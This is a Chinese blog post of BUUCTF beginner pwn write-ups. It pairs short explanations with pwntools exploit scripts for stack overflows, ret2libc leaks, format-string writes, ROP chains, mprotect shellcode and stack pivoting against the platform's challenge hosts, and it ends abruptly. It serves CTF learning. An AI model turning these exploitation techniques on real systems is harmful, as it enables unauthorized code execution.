[BUUCTF] 萌新pwn

news/2024/11/18 18:46:16/文章来源:https://www.cnblogs.com/Here-is-SG/p/18553379

做下第一页

test_your_nc

直接是/bin/sh, nc 上去就行

rip

先简单 review 一下函数调用栈的变化。首先记住栈是高地址向低地址增长,简单讲就是栈底在高地址,栈顶在低地址。esp 保存栈顶,ebp 保存栈底。

32 位为例,首先反向压入 callee 的参数:argn, .... arg2, arg2,然后压入 ret addr,这个 addr 就是 caller 下一步该执行的指令。然后压入 caller 的 ebp,再让 ebp = esp,现在就保存好 caller 的栈状态,创建出 callee 的调用栈空间了。之后就是压入 callee 的局部变量等数据。

函数返回时,首先弹出 callee 的局部变量这些数据,弹完后 esp 就等于 ebp 了,这个时候弹出 caller 的 ebp,再存到 ebp 寄存器里面,就恢复了 caller 的 ebp。然后弹出 ret addr 到 eip。接下来继续执行就行。

现在看这个题。64 位 elf

int __fastcall main(int argc, const char **argv, const char **envp)
{char s[15]; // [rsp+1h] [rbp-Fh] BYREFputs("please input");gets(s, argv);puts(s);puts("ok,bye!!!");return 0;
}int fun()
{return system("/bin/sh");
}.text:0000000000401186 ; int fun()
.text:0000000000401186                 public fun
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system
.text:0000000000401196                 nop
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp

gets 输入的数据可以栈溢出,char s[15]; // [rsp+1h] [rbp-Fh] BYREF,输入的 s 到 rbp 距离 0xF,然后 64 位的 rbp 自己占 8 个字节。然后就可以覆写主函数的 ret addr 了。覆写到 fun 的 0x401186 即可。

from pwn import *# p = process('./pwn1')
p = remote("node5.buuoj.cn", 25382)fun_addr = 0x401186
payload = b'A' * 15 + b'B' * 8 + p64(fun_addr + 1)p.sendline(payload)p.interactive()

为什么是 fun_addr + 1 呢?

64 位系统中函数调用时堆栈需要 16 字节对齐。正常执行的话堆栈平衡是没有问题的,但是我们覆盖了 ret addr,这样直接跳转到了 fun 函数。如果我们继续跳 0x401186,就会执行push rbp,这会在栈上压入 8 字节,破坏了之前的 16 字节对齐。此时调用 system 函数就会崩溃。所以,直接跳过这个push rbp,直接从 mov 开始,就可以避免破坏 16 字节对齐,使得在调用 system 的时候依然保持对齐。

(这个题还不能用 recvuntil,也不知道是个啥情况

warmup_csaw_2016

一个意思,还不用调对齐

from pwn import *# p = process('./warmup_csaw_2016')
p = remote("node5.buuoj.cn", 27416)fun_addr = 0x40060D
payload = b'a' * (0x40 + 8) + p64(fun_addr)p.sendline(payload)p.interactive()

ciscn_2019_n_1

也是溢出,这次是用 _BYTE 数组覆盖一个 float

from pwn import *
import structp = remote("node5.buuoj.cn", 29759)hex_float = struct.pack('>f', 11.28125) # 单精度是 f,> 是大端序,把小数打包成字节
num = int.from_bytes(hex_float, byteorder='big') # 上面出来是个 bytes
payload = b'a' * (0x30 - 0x4) + p64(num)p.sendline(payload)p.interactive()

pwn1_sctf_2016

限制输入只能有 32 字节,但是会把输入的 I 替换成 you,s 距离 ebp 是 0x3C,计算一下就是 20 个 I 可以到 ebp。32 位程序,再填 4 字节,然后覆写 ret addr 到 get_flag 即可。

from pwn import *
import structp = remote("node5.buuoj.cn", 26116)payload = b'I' * 20 + b'a' * 4 + p32(0x8048F0D)
p.sendline(payload)p.interactive()

jarvisoj_level0

from pwn import *p = remote("node5.buuoj.cn", 27753)payload = b'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)p.interactive()

[第五空间2019 决赛]PWN5

开了 canary 和 nx,不能栈溢出。这里的printf(buf);有格式化字符串可以用。目标是修改 804C044 处的数据然后直接 getshell

首先需要计算偏移。我们用aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

收到

Hello,aaaa ff8aa288 63 0 ff8aa2ae 3 c2 f7e408fb ff8aa2ae ff8aa3ac 61616161 20782520 25207825 78252078 20782520 25207825 78252078

也就是第 10 个 %x 的位置。20782520 25207825 78252078 20782520 25207825 78252078 这些都是 '%' 'x' ' '的 ascii。用 pwndbg 下断点在 printf(buf) 的 call 这里也能帮助理解一下

pwndbg> stack 20
00:0000│ esp 0xffffcb50 —▸ 0xffffcb78 ◂— 'aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
01:0004│-094 0xffffcb54 —▸ 0xffffcb78 ◂— 'aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
02:0008│-090 0xffffcb58 ◂— 0x63 /* 'c' */
03:000c│-08c 0xffffcb5c ◂— 0
04:0010│-088 0xffffcb60 —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— 0
05:0014│-084 0xffffcb64 ◂— 3
06:0018│-080 0xffffcb68 —▸ 0xf7fbe7b0 —▸ 0x804837f ◂— 'GLIBC_2.0'
07:001c│-07c 0xffffcb6c ◂— 1
08:0020│-078 0xffffcb70 ◂— 0
09:0024│-074 0xffffcb74 ◂— 1
0a:0028│ eax 0xffffcb78 ◂— 'aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
0b:002c│-06c 0xffffcb7c ◂— ' %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
0c:0030│-068 0xffffcb80 ◂— '%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
0d:0034│-064 0xffffcb84 ◂— 'x %x %x %x %x %x %x %x %x %x %x %x %x %x\n'
0e:0038│-060 0xffffcb88 ◂— ' %x %x %x %x %x %x %x %x %x %x %x %x\n'
0f:003c│-05c 0xffffcb8c ◂— '%x %x %x %x %x %x %x %x %x %x %x\n'
10:0040│-058 0xffffcb90 ◂— 'x %x %x %x %x %x %x %x %x %x\n'
11:0044│-054 0xffffcb94 ◂— ' %x %x %x %x %x %x %x %x\n'
12:0048│-050 0xffffcb98 ◂— '%x %x %x %x %x %x %x\n'
13:004c│-04c 0xffffcb9c ◂— 'x %x %x %x %x %x\n'

那么 aaaa 离栈顶距离 10。所以,如果我们想修改 804C044 处的数据,就要让 804C044 作为 printf 的第 10 个参数,804C045 作为第 11 个参数,以此类推

from pwn import *
import struct
context.log_level = 'debug'p = remote("node5.buuoj.cn", 25778)payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047) + b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

稍微解释一下,%n 不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

%10$n 中,10$ 是位置修饰符,表示第 10 个参数。%10$n 就是将当前输出的字符数写入第 10 个参数所指向的地址中。然后 p32(0x804C044) 是 4 字节,有 4 个这种参数就是 16 字节,也就是一共输出了 0x10 个字符。那么 %n 写入的就是 0x10,所以最后密码就是 0x10101010

jarvisoj_level2

开了nx,字符串里面有 /bin/sh,但是没调用。好消息是自带 system 函数。

读入 0x100,buf 距离 ebp 就 0x88,构造简单的 ret2text 就行

32 位不用 pop 的 gadget 的分布是:覆盖的返回地址(目标函数地址) + 目标函数执行完后的返回地址 + 参数 1 + 参数 2 + ...

from pwn import *
import struct
context.log_level = 'debug'p = remote("node5.buuoj.cn", 26419)shell_addr = 0x804A024
system_addr = 0x8048320payload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(shell_addr)
p.sendline(payload)p.interactive()

ciscn_2019_n_8

和 pwn 没啥关系,var 是个 _DWORD 数组,每个元素 4 字节,最后 *(_QWORD *)&var[13] 就是把 13 和 14 捆在一起变成个 8 字节元素。填完前 13 * 4 个字节发 0x11 就行

from pwn import *
# context.log_level = 'debug'p = remote("node5.buuoj.cn", 28222)payload = b'aaaa' * 13 + p64(0x11)
p.sendline(payload)p.interactive()

bjdctf_2020_babystack

from pwn import *
context.log_level = 'debug'p = remote("node5.buuoj.cn", 25462)
p.recvuntil("[+]Please input the length of your name:")
p.sendline('233')
p.recvuntil("[+]What's u name?")
shell_addr = 0x4006E6
payload = b'a' * (0x10 + 8) + p64(shell_addr)
p.sendline(payload)p.interactive()

ciscn_2019_c_1

很经典的 ret2libc,选 1 进入 encrypt,里面的 gets 会有溢出可以利用。另外这里面有 /bin/sh 字符串可以直接用。

encrypt 里面对输入的破坏可以通过在 s 前面加个 '\0' 绕过。由于 Linux 程序使用了延迟绑定技术,函数在没有执行前,你是不知道它的真实地址是什么的,只有执行后才会存入 GOT 表。所以我们得泄露已经执行过的函数地址。puts 显然已经执行过很多次了。

64 位的 ROP 构造为 ret + pop_rdi + /bin/sh + system,可以用 ROPgadget 来寻找指令地址:ROPgadget --binary './ciscn_2019_c_1' --only "pop|ret"

from pwn import *
context.log_level = 'debug'elf = ELF("./ciscn_2019_c_1")p = remote("node5.buuoj.cn", 29761)puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
pop_rdi_addr = 0x400C83
ret_addr = 0x4006B9p.recvuntil("choice!\n")
p.sendline("1")
p.recvuntil("encrypted\n")
payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvline()
p.recvline()
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recv(8))
print(hex(puts_addr)) # 0x7f87b69119c0

这是第一部分。

为什么要用 pop rdi 的地址呢,因为 x64 指令在栈空间操作与 x86 不一样。除了地址变为 64 位以外,它的函数传参从 x86 的栈传递变成寄存器传递,前 6 个参数分别使用 rdi、rsi、rdx、rcx、r8、r9,多于 6 个的参数使用栈传递。

另外 plt 和 got

  • PLT 表: Procedure Linkage Table,程序联动表(内部函数表)
  • GOT 表: Global Offset Table,全局偏移表(全局函数表)

之前也提到过执行后的函数的地址会存入 GOT 表,所以这里的 rop 链相当于是去执行 puts(puts_got),因为只有一个参数所以用 rdi 去传。回到 main 是为了后面继续做题

这样我们就拿到了 puts 的实际地址。像我这次做题就是 0x7f87b69119c0

system_base_addr = 0x4f440
str_bin_sh_base_addr = 0x1b3e9a
puts_base_addr = 0x809c0offset = puts_addr - puts_base_addr
system_addr = system_base_addr + offset
str_bin_sh_addr = str_bin_sh_base_addr + offsetp.recvuntil("choice!\n")
p.sendline("1")
payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(ret_addr) + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(system_addr)
# payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(retn_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

然后就用这个 9c0 去找 libc 版本。https://libc.rip/即可,用 LibcSearcher 也行,但得更新一下 libc-database,而且不一定就有这个 libc,在线的比较新,好像正经 pwn 手基本上都用的在线找的?

这几个 base_addr 都是网站上看的这个 libc 版本里面的地址,算一下偏移就能找出在程序中的实际地址了。后面这个 ret 是因为靶机在 ubuntu 18 上后,64 位的栈得对齐 16 位,而且你就算写成下面注释这行也能过,很难绷,感觉我现场自己构造 rop 链是一定会死在这种地方不会调栈的

在64位的glibc上payload调用system导致crash的问题

get_started_3dsctf_2016

开了 nx,直接写一版溢出

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 29612)
flag_addr = 0x80489A0
exit_addr = 0x804E6A0
# payload = b'a' * (0x38 + 4) + p32(flag_addr) + p32(0x308CD64F) + p32(0x195719D1)
payload = b'a' * 56 + p32(flag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
p.sendline(payload)
p.interactive()

这里我最开始写的这个 payload 完全不对。首先不 +4,看汇编他根本没把 ebp 推入栈,所以完全不用管。

另外为什么得加个 exit_addr,说是 fopen 打开文件的时候,得正常退出程序才有回显。那就让后门函数用 exit 正常退出了。

然后看见了一种神秘解法,构造链子直接去执行 execv("/bin/sh", NULL, NULL)

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 27303)pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
vmmap_writable_addr = 0x80ec000payload = b'a' * 56
payload += p32(pop_eax_ret) + b'/bin' + p32(pop_edx_ecx_ebx_ret) + p32(vmmap_writable_addr) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret) + b'/sh\x00' + p32(pop_edx_ecx_ebx_ret) + p32(vmmap_writable_addr + 4) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(vmmap_writable_addr) + p32(int80)
p.sendline(payload)p.interactive()

p32(pop_eax_ret) + b'/bin' 是在栈上放字符串 '/bin',pop eax 后 eax 保存这个字符串。然后pop_edx_ecx_ebx_ret 把 vmmap_writable_addr 加载到 edx。这里 vmmap_writable_addr 是 gdb 用 vmmap 找的一块可写的内存区域(实际上这里是在 bss 段上)。然后 ecx ebx 置 0,之后在 execv 系统调用会用到。mov_edx_eax_ret 后 edx 保存 /bin。

下一句的操作和上面一样的。搞这么麻烦是因为 32 位寄存器不够大,要是 64 位就一步到位了。vmmap_writable_addr 存了 '/bin',这里给他后面再接上 '/sh'。

然后就是做系统调用。eax = 0xb,这是 execv 的 syscall number(系统调用号),pop_edx_ecx_ebx_ret 设置参数,分别是 0,0,vmmap_writable_addr,ebx 这个地址就指向 '/bin/sh',最后 0x80 是 Linux 系统调用(LINUX - sys_execve)的机器码。这样就达到了执行 execv("/bin/sh", NULL, NULL)

还有一种直接 mprotece 改保护然后写 shellcode 的方法,懒得写了

jarvisoj_level2_x64

jarvisoj_level2 的 x64 版本,练习怎么写 64 位链子,其实之前已经写过很多版了

ROPgadget --binary level2_x64 | grep "rdi"

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 28791)shell_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_ret = 0x4006b3payload = b'a' * (0x80 + 8) + p64(pop_rdi_ret) + p64(shell_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

[HarekazeCTF2019]baby_rop

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 29646)shell_addr = 0x601048
system_addr = 0x400490
pop_rdi_ret = 0x400683payload = b'a' * (0x10 + 8) + p64(pop_rdi_ret) + p64(shell_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

find / -name 'flag'

others_shellcode

复习一下保护内容

NX(DEP):堆栈禁止执行

RELRO:GOT写保护

PIE(ASLR):代码段、数据段地址随机化

CANARY:堆栈溢出哨兵

FORTIFY:常用函数加强检查

这个开了 nx + pie。之前 get_started_3dsctf_2016 那个题介绍了个神秘做法就是构造一个链子去执行execv("/bin/sh", NULL, NULL),这个题变到后面 eax 直接变成 0xB,后面内联汇编写了 int 80,/bin/sh 在栈上,所以直接就 getshell 了

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 29220)p.interactive()

[OGeek2019]babyrop

两个目的,一个是第一次输入与随机数的对比要过,第二个就是下一个函数让 buf[7] 这里过校验,执行 read(buf, a1)。

第一个可以让 strlen 结果为 0 绕过校验,第二个构造一下就行。开了 nx 和 relro,附件里面没有 system 和 /bin/sh 用,那 ret2libc

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 26134)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")write_got = elf.got["write"]
write_plt = elf.plt["write"]
main_addr = 0x8048825payload = "\x00" + "\xaa" * 7
p.sendline(payload)
p.recvuntil("Correct\n")payload = b'a' * (0xE7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(8) # write(1, write_got, 8)
p.sendline(payload)
write_addr = u32(p.recv(4))
print(hex(write_addr)) # 3c0# system_base_addr = 0x4a470
# str_bin_sh_base_addr = 0x18ee0e
# write_base_addr = 0xf23c0# offset = write_addr - write_base_addr
# system_addr = system_base_addr + offset
# str_bin_sh_addr = str_bin_sh_base_addr + offsetoffset = write_addr - libc.sym["write"]
system_addr = offset + libc.sym["system"]
str_bin_sh_addr = offset + next(libc.search(b"/bin/sh"))payload = "\x00" + "\xaa" * 7
p.sendline(payload)
p.recvuntil("Correct\n")payload = b'a' * (0xE7 + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr)
p.sendline(payload)p.interactive()

很难绷,原来给了 .so 附件,我用在线网站查出来 3 个的地址都不对

ciscn_2019_n_5

ret2libc

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 29263)
elf = ELF("./ciscn_2019_n_5")puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x400636
pop_rdi_ret = 0x400713
ret = 0x4004c9payload = b"4mad3us"
p.sendline(payload)
p.recvuntil("me?\n")payload = b'a' * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)puts_addr = u64(p.recv().ljust(8, b'\x00')) # 857print(hex(puts_addr)) system_base_addr = 0x4f440
str_bin_sh_base_addr = 0x1b3e9a
puts_base_addr = 0x809c0offset = puts_addr - puts_base_addr
system_addr = system_base_addr + offset
str_bin_sh_addr = str_bin_sh_base_addr + offset
payload = b"4mad3us"
p.sendline(payload)
p.recvuntil("me?\n")payload = b'a' * (0x20 + 8) + p64(ret) + p64(pop_rdi_ret) + p64(str_bin_sh_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

byd checksec 告诉我有 rwx 段,写完 ret2shellcode 用 vmmap 一看除了栈根本没有 rwx,幽默,网上一堆题解也用了 ret2shellcode,怀疑题被改过了

not_the_same_3dsctf_2016

get_secret 里面读了 flag 但是没输出,那我们布置一下,跑完这个函数就打印 flag

from pwn import *
context.log_level = 'debug'
# context(arch='amd64',os='linux',log_level='debug')
p = remote("node5.buuoj.cn", 28835)
elf = ELF('./not_the_same_3dsctf_2016')flag_addr = 0x80ECA2D
backdoor_addr = 0x80489A0
printf_addr = 0x804F0A0
exit_addr = 0x804E660
write_addr = elf.symbols['write']# payload = b'a' * 0x2D + p32(backdoor_addr) + p32(printf_addr) + p32(exit_addr) + p32(flag_addr) + p32(0)
payload = b'a' * 0x2D + p32(backdoor_addr) + p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(flag_addr) + p32(0xFF)
p.sendline(payload)
p.interactive()

这个题也没把 ebp 推入栈,所以不管那个 +4。如果用的 printf 去打印那就得加个 exit 函数,没开标准输入输出流,不正常退出的话 printf 的东西全在缓冲区。用 write 的话就不用管了。32 位的这个链子就是跑完一个函数后 return 到下一个函数,所以最后还得有个地址让最后那个函数去返回,不然程序就崩了。参数就按函数执行的先后顺序来压栈就行。

这个也能用之前懒得写的 mprotect 方法,这次写一下吧

int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址,得页对其
第二个参数是地址往后多大的长度,一般是页的大小的倍数
第三个参数的是要赋予的权限,7 就是 rwx
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。

from pwn import *
context.log_level = 'debug'
context(arch='i386',os='linux',log_level='debug')
p = remote("node5.buuoj.cn", 28835)
elf = ELF('./not_the_same_3dsctf_2016')mprotect_addr = elf.symbols['mprotect']
bss_addr = 0x80EC000 # 这个得后 3 位为 0,为了页对齐
read_addr = elf.symbols['read']
pop3_ret = 0x804f420payload = b'a' * 0x2D + p32(mprotect_addr) + p32(pop3_ret) + p32(bss_addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(0x100) + p32(bss_addr)
p.sendline(payload)shellcode = asm(shellcraft.sh())p.sendline(shellcode)
p.interactive()

pop3_ret 是 ROPgadget 随便找的一个 3 次 pop 寄存器一次 ret 的地址,这个主要是用来控制栈布局的,这次调用 mprotect 后栈上放了仨参数,为了下一个函数调用时栈上的内容符合函数调用约定,必须把它们 pop 掉。

执行 mprotect 的时候栈上布局大概就长这个样子:

| 返回地址 (pop3_ret)        | <--- ret 指向 pop3_ret gadget
| 参数 1 (addr = bss_addr)   |
| 参数 2 (len = 0x1000)      |
| 参数 3 (prot = 0x7)        |
| 下一步返回地址             | <--- ret 指向 read
...

mprotect 返回时,执行 3 个 pop,把栈上三个参数全部带走,然后再 ret。我们知道 retn 相当于 pop eip,就是执行 esp 处的指令并且 esp + 4/8。所以 pop3_ret 后就继续执行 read 了。然后就是 read 的参数也得弹掉,最后读 shellcode 后就 getshell。

注意这个方法基本上就只能在静态编译的题上面跑,不然基本上找不到 mprotect 和 read 的地址。

ciscn_2019_en_6

和 c_1 一样

from pwn import *
context.log_level = 'debug'elf = ELF("./ciscn_2019_en_2")
p = remote("node5.buuoj.cn", 25931)puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28
pop_rdi_addr = 0x400C83
retn_addr = 0x4006B9p.recvuntil(b"choice!\n")
p.sendline(b"1")
p.recvuntil(b"encrypted\n")
payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvline()
p.recvline()
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr)) # 9c0
system_base_addr = 0x4f440
str_bin_sh_base_addr = 0x1b3e9a
puts_base_addr = 0x809c0offset = puts_addr - puts_base_addr
system_addr = system_base_addr + offset
str_bin_sh_addr = str_bin_sh_base_addr + offset
# sleep(1)
p.recvuntil(b"choice!\n")
p.sendline(b"1")
payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(retn_addr) + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(system_addr)
# payload = b'\0' + b'a' * (0x50 + 8 - 1) + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

ciscn_2019_ne_5

没找到 /bin/sh,先写了一版 ret2libc,不知道为什么接收的输入完全是乱的。调了半天发现 tm 的 puts 的 got 表有 0x20,就是空格,这题输入用的 scanf,直接截断了,nb

翻 wp 发现大家用的是字符串 sh,好像是因为 linux 环境变量自带了 /bin,所以这个也能用,难绷。

sh 来自 fflush,用 ROPgadget找也行

from pwn import *
context.log_level = 'debug'p = remote('node5.buuoj.cn', 27733)elf = ELF('./ciscn_2019_ne_5')
main_addr = elf.sym['main']
system_addr = elf.sym['system']
sh_addr = next(elf.search(b'sh'))p.sendlineafter('password:', 'administrator')
p.sendlineafter('0.Exit\n:', '1')payload = b'a' * (0x48 + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr)p.sendlineafter('info:', payload)
p.sendlineafter('0.Exit\n:', '4')p.interactive()

铁人三项(第五赛区)_2018_rop

ret2libc

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 25487)
elf = ELF("./2018_rop")write_got = elf.got["write"]
write_plt = elf.plt["write"]
main_addr = elf.symbols["main"]payload = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(8) # write(1, write_got, 8)
p.sendline(payload)
write_addr = u32(p.recv(4))
print(hex(write_addr)) # 6f0system_base_addr = 0x3cd10
str_bin_sh_base_addr = 0x17b8cf
write_base_addr = 0xe56f0offset = write_addr - write_base_addr
system_addr = system_base_addr + offset
str_bin_sh_addr = str_bin_sh_base_addr + offsetpayload = b'a' * (0x88 + 4) + p32(system_addr) + p32(0xdeadbeef) + p32(str_bin_sh_addr)
p.sendline(payload)p.interactive()

bjdctf_2020_babystack2

read 里面的 nbytes 是个 uint,所以前面用 -1 read 就是极大值

from pwn import *
context.log_level = 'debug'
p = remote("node5.buuoj.cn", 27421)backdoor_addr = 0x400726p.sendlineafter('name:', '-1')
p.recvuntil('u name?')payload = b'a' * (0x10 + 8) + p64(backdoor_addr)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

ret2libc

from pwn import *
context.log_level = 'debug'elf = ELF("./bjdctf_2020_babyrop")
p = remote("node5.buuoj.cn", 27313)puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi_addr = 0x400733
retn_addr = 0x4004c9p.recvuntil(b"u story!\n")payload = b'a' * (0x20 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)puts_addr = u64(p.recv(6).ljust(8, b'\0'))
print(hex(puts_addr)) # 690system_base_addr = 0x45390
str_bin_sh_base_addr = 0x18cd57
puts_base_addr = 0x6f690offset = puts_addr - puts_base_addr
system_addr = system_base_addr + offset
str_bin_sh_addr = str_bin_sh_base_addr + offsetp.recvuntil(b"u story!\n")payload = b'a' * (0x20 + 8) + p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(system_addr)
p.sendline(payload)p.interactive()

jarvisoj_fm

fmtstr32,测试出来在第 11 个 %x 处,要改的数据刚好是 4,输出 4 个字节也是 4

from pwn import *
context.log_level = 'debug'p = remote("node5.buuoj.cn", 27227)
aim_addr = 0x804A02C# payload = b'aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x' # 11 
payload = p32(aim_addr) + b'%11$n'
# payload = fmtstr_payload(11, {aim_addr: 0x4}, write_size='int')
p.sendline(payload)p.interactive()

下面这个 payload 也行。11 是偏移,后面就是要在 aim_addr 覆盖 0x4,write_size 就是写入的类型,不加这个好像也没事

jarvisoj_tell_me_something

又没压栈 rbp,直接覆盖完返回地址它就执行的很正常,不用调其它的返回地址链

from pwn import *
context.log_level = 'debug'p = remote("node5.buuoj.cn", 25120)
backdoor_addr = 0x400620
payload = b'a' * 0x88 + p64(backdoor_addr)
p.sendline(payload)p.interactive()

ciscn_2019_es_2

被 vul 骗了,真的就只是 echo 了 flag 四个字母

只 read 了 0x30,不够栈溢出的,所以得考虑栈迁移

https://www.cnblogs.com/ZIKH26/articles/15817337.html这里两个图非常好,可惜把 leave 写成 level 了

首先把 main 的上个栈帧的 ebp 用栈溢出给输出出来,接下来我们就去这里劫持

我们得弄清楚一个事情

leave
; mov esp ebp  将 ebp 指向的地址给 esp
; pop ebp  将 esp 指向的地址存放的值(栈顶的内容)赋值给 ebp
ret
; pop eip  将 esp 指向的地址存放的值赋值给 eip,其实就是下一条指令执行 esp 的地方的指令

然后就是开着 gdb 用这个泄露的 ebp 当基址,用它的偏移去确定 /bin/sh 和 system 的上一句指令的地址

from pwn import *elf_path = "./ciscn_2019_es_2"
# libc_path = "./libc-2.31.so"
ip = "node5.buuoj.cn"
port = 27001
content = 0context(os='linux',arch='amd64',log_level='debug')
if content == 1:os.system('tmux set mouse on')context.terminal = ['tmux','splitw','-h']# p = process(elf_path)p = gdb.debug(elf_path, 'brva 0x1234')else:p = remote(ip, port)r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))# ----------------------------------------------------------elf = ELF("./ciscn_2019_es_2")system_addr = 0x8048400
leave_ret = 0x8048562p.recvuntil('What\'s your name?\n')
payload = b'a' * 0x27 + b'b'
p.send(payload)
p.recvuntil('b')
ebp = u32(p.recv(4))
print(hex(ebp))payload = b'a' * 4 + p32(system_addr) + p32(0xdeadbeef) + p32(ebp - 0x28) + b'/bin/sh'
payload = payload.ljust(0x28, b'\x00')
payload += p32(ebp - 0x38) + p32(leave_ret)
p.sendline(payload)
p.interactive()

'aaaa' 是用来占用一次 pop ebp 的,方便后面的 ret(pop eip) 去执行 system。0xdeadbeef 是返回地址,由于 /bin/sh 是我们自己输入的,所以这里参数得是它的地址,我们得用泄露的 ebp 算 /bin/sh 的偏移。payload.ljust 就填充到 ebp 上面,因为我们要把 ebp 指向的地址给改成 system 上面那个指令,方便第二次 leave_ret 去操作。

[HarekazeCTF2019]baby_rop2

ret2libc,区别是这次用printf打印,不知道为啥不能用 printf 的 got 去泄露

用 pop_rsi_r15_ret 是因为找不到单独的 pop rsi

from pwn import *
context.log_level = 'debug'p = remote("node5.buuoj.cn", 29179)
elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')pop_rdi = 0x400733
pop_rsi_r15_ret = 0x400731 
fmtstr = 0x400770  
ret = 0x4004d1printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.symbols['main']p.recvuntil('name? ')
payload = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(fmtstr) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0xdeadbeef) + p64(printf_plt) + p64(main_addr)
p.sendline(payload)
p.recvline()print(p.recvuntil(', '))
read_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(read_addr))read_libc = libc.symbols['read']
libc_base = read_addr - read_libc
system_addr = libc_base + libc.symbols['system']
str_bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))payload = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(str_bin_sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

find -name 'flag'

picoctf_2018_rop chain

win1,win2,flag,控制一下参数就行

from pwn import *
